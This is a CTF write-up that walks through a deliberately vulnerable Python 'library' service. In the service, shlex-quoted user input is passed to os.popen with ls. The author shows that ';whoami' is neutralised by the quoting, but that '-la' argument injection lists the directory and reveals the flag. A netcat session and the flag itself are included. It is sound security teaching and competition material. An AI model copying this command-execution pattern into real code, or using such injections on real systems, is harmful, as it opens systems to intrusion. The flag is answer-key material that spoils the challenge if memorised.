Description
Built a book library, however my friend says that i made a nasty mistake!
Author: zAbuQasem
nc 172.190.120.133 50003
Solution
There’s an attached code with the challange and we will care about challange.py
file in it
The content is
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from rich.console import Console
import re
import shlex
import os
FLAG = os.getenv("FLAG","FAKE_FLAG")
console=Console()
class Member:
def __init__(self, name):
self.name = name
class Book:
def __init__(self, title, author, isbn):
self.title = title
self.author = author
self.isbn = isbn
class BookCopy:
def __init__(self, book):
self.book = book
self.available = True
class SaveFile:
def __init__(self, file_name=os.urandom(16).hex()):
self.file = file_name
class Library:
def __init__(self, name):
self.name = name
self.books = {}
self.members = {}
def add_book(self, book, num_copies=1):
if book.isbn in self.books:
self.books[book.isbn] += num_copies
else:
self.books[book.isbn] = num_copies
def add_member(self, member):
self.members[member.name] = member
def display_books(self,title=''):
if not title == '':
for isbn, num_copies in self.books.items():
book = isbn_to_book[isbn]
if book.title == title:
return book.title
else:
console.print("\n[bold red]Book not found.[/bold red]")
else:
console.print(f"\n[bold green]Books in {self.name} Library:[/bold green]")
for isbn, num_copies in self.books.items():
book = isbn_to_book[isbn]
status = f"{num_copies} copies available" if num_copies > 0 else "All copies checked out"
console.print(f"[cyan]ISBN: {isbn} - Status: {status}[/cyan]")
def search_book(self):
pattern = console.input("[bold blue]Enter the pattern to search: [/bold blue]")
matching_books = []
for isbn, num_copies in self.books.items():
book = isbn_to_book[isbn]
if re.fullmatch(pattern,book.title):
matching_books.append(book)
if matching_books:
console.print(f"\n[bold yellow]Found matching books for '{pattern}':[bold yellow]")
for book in matching_books:
status = f"{num_copies} copies available" if num_copies > 0 else "All copies checked out"
console.print(f"[cyan]ISBN: {book.isbn} - Status: {status}[/cyan]")
else:
console.print(f"[bold yellow]No matching books found for '{pattern}'.[/bold yellow]")
def check_out_book(self, isbn, member_name):
if member_name not in self.members:
console.print(f"\n[bold red]Member '{member_name}' not found.[/bold red]")
return
if isbn not in isbn_to_book:
console.print("\n[bold red]Book not found.[/bold red]")
return
if isbn not in self.books or self.books[isbn] <= 0:
console.print("\n[bold red]All copies of the book are currently checked out.[/bold red]")
return
member = self.members[member_name]
book_copy = BookCopy(isbn_to_book[isbn])
for i in range(len(member_books.setdefault(member_name, []))):
if member_books[member_name][i].book.isbn == isbn and member_books[member_name][i].available:
member_books[member_name][i] = book_copy
self.books[isbn] -= 1
console.print(f"\n[bold green]Successfully checked out:[/bold green] [cyan]{book_copy.book} for {member.name}[/cyan]")
return
console.print("\n[bold red]No available copies of the book for checkout.[/bold red]")
def return_book(self, isbn, member_name):
if member_name not in self.members:
console.print(f"\n[bold red]Member '{member_name}' not found.[/bold red]")
return
if isbn not in isbn_to_book:
console.print("\n[bold red]Book not found.[/bold red]")
return
member = self.members[member_name]
for i in range(len(member_books.setdefault(member_name, []))):
if member_books[member_name][i].book.isbn == isbn and not member_books[member_name][i].available:
member_books[member_name][i].available = True
self.books[isbn] += 1
console.print(f"\n[bold green]Successfully returned:[/bold green] [cyan]{member_books[member_name][i].book} by {member.name}[/cyan]")
return
console.print("\n[bold red]Book not checked out to the member or already returned.[/bold red]")
def save_book(title, content='zAbuQasem'):
try:
with open(title, 'w') as file:
file.write(content)
console.print(f"[bold green]Book saved successfully[/bold green]")
except Exception as e:
console.print(f"[bold red]Error: {e}[/bold red]")
def check_file_presence():
book_name = shlex.quote(console.input("[bold blue]Enter the name of the book (file) to check:[/bold blue] "))
command = "ls " + book_name
try:
result = os.popen(command).read().strip()
print(result)
if result == book_name:
console.print(f"[bold green]The book is present in the current directory.[/bold green]")
else:
console.print(f"[bold red]The book is not found in the current directory.[/bold red]")
except Exception as e:
console.print(f"[bold red]Error: {e}[/bold red]")
if __name__ == "__main__":
library = Library("My Library")
isbn_to_book = {}
member_books = {}
while True:
console.print("\n[bold blue]Library Management System[/bold blue]")
console.print("1. Add Member")
console.print("2. Add Book")
console.print("3. Display Books")
console.print("4. Search Book")
console.print("5. Check Out Book")
console.print("6. Return Book")
console.print("7. Save Book")
console.print("8. Check File Presence")
console.print("0. Exit")
choice = console.input("[bold blue]Enter your choice (0-8): [/bold blue]")
if choice == "0":
console.print("[bold blue]Exiting Library Management System. Goodbye![/bold blue]")
break
elif choice == "1":
member_name = console.input("[bold blue]Enter member name: [/bold blue]")
library.add_member(Member(member_name))
console.print(f"[bold green]Member '{member_name}' added successfully.[/bold green]")
elif choice == "2":
title = console.input("[bold blue]Enter book title: [/bold blue]").strip()
author = console.input("[bold blue]Enter book author: [/bold blue]")
isbn = console.input("[bold blue]Enter book ISBN: [/bold blue]")
num_copies = int(console.input("[bold blue]Enter number of copies: [/bold blue]"))
book = Book(title, author, isbn)
isbn_to_book[isbn] = book
library.add_book(book, num_copies)
console.print(f"[bold green]Book '{title}' added successfully with {num_copies} copies.[/bold green]")
elif choice == "3":
library.display_books()
elif choice == "4":
library.search_book()
elif choice == "5":
isbn = console.input("[bold blue]Enter ISBN of the book: [/bold blue]")
member_name = console.input("[bold blue]Enter member name: [/bold blue]")
library.check_out_book(isbn, member_name)
elif choice == "6":
isbn = console.input("[bold blue]Enter ISBN of the book: [/bold blue]")
member_name = console.input("[bold blue]Enter member name: [/bold blue]")
library.return_book(isbn, member_name)
elif choice == "7":
choice = console.input("\n[bold blue]Book Manager:[/bold blue]\n1. Save Existing\n2. Create new book\n[bold blue]Enter your choice (1-2): [/bold blue]")
if choice == "1":
title = console.input("[bold blue]Enter Book title to save: [/bold blue]").strip()
file = SaveFile(library.display_books(title=title))
save_book(file.file, content="Hello World")
else:
save_file = SaveFile()
title = console.input("[bold blue]Enter book title: [/bold blue]").strip()
author = console.input("[bold blue]Enter book author: [/bold blue]")
isbn = console.input("[bold blue]Enter book ISBN: [/bold blue]")
num_copies = int(console.input("[bold blue]Enter number of copies: [/bold blue]"))
title = title.format(file=save_file)
book = Book(title,author, isbn)
isbn_to_book[isbn] = book
library.add_book(book, num_copies)
save_book(title)
elif choice == "8":
check_file_presence()
else:
console.print("[bold red]Invalid choice. Please enter a number between 0 and 8.[/bold red]")
What a huge code !!
Don’t worry after a fast examination we will know that there’s only small interesting part
The interesting part is the choice number 8 cuz it calls the function check_file_presence()
and its content is
def check_file_presence():
book_name = shlex.quote(console.input("[bold blue]Enter the name of the book (file) to check:[/bold blue] "))
command = "ls " + book_name
try:
result = os.popen(command).read().strip()
print(result)
if result == book_name:
console.print(f"[bold green]The book is present in the current directory.[/bold green]")
else:
console.print(f"[bold red]The book is not found in the current directory.[/bold red]")
except Exception as e:
console.print(f"[bold red]Error: {e}[/bold red]")
It’s interesting cuz it the only one containing command execution and the command we can say its supplied from the user (not exactly)
Okay let’s analyze this function
- We have
book_name
is concatenated withls
and the result is executed as command - This appears to be vulnerable to command injection and we see that that the blacklist is very poor
- but the problem is in
shlex.quote
this puts the input in quots - Then your dreams about supplying
;whoami
as input so the command becomesls ;whoami
are destroyed becaused the command becamels ';whoami'
- What can we do then ?!!!
- After searching i found this amazing article
- I recommend it
The most important thing we got from it is that shlex.quote() escapes the shell's parsing, but it does not escape the argument parser of the command you're calling, and some additional tool-specific escaping needs to be done manually, especially if your string starts with a dash (-).
So What about making the input something like -la
resulting in the command ls -la
without the problem of quotes.
┌──(youssif㉿youssif)-[~]
└─$ nc 172.190.120.133 50003
Library Management System
1. Add Member
2. Add Book
3. Display Books
4. Search Book
5. Check Out Book
6. Return Book
7. Save Book
8. Check File Presence
0. Exit
Enter your choice (0-8): 8
Enter the name of the book (file) to check: -la
total 56
drwxr-sr-x 1 challeng challeng 4096 Feb 9 23:44 .
drwxr-xr-x 1 root root 4096 Feb 1 14:20 ..
-rw-r--r-- 1 challeng challeng 9 Feb 9 23:52 0xL4ugh{TrU5t_M3_LiF3_I5_H4rD3r!}
-rw-r--r-- 1 challeng challeng 9 Feb 9 22:20 ;ls
-rw-r--r-- 1 challeng challeng 9 Feb 9 18:07 FLAG
-rw-r--r-- 1 challeng challeng 9 Feb 9 22:49 ay
-rw-rw-r-- 1 root root 8975 Jan 31 22:43 challenge.py
-rw-rw-r-- 1 root root 103 Jan 31 22:19 exec.sh
-rw-r--r-- 1 challeng challeng 9 Feb 9 16:48 nice
-rw-r--r-- 1 challeng challeng 11 Feb 9 17:19 pouet
-rw-r--r-- 1 challeng challeng 9 Feb 9 23:44 test
The book is not found in the current directory.
Nice We got it, The flag is right there !!
The flag: 0xL4ugh{TrU5t_M3_LiF3_I5_H4rD3r!}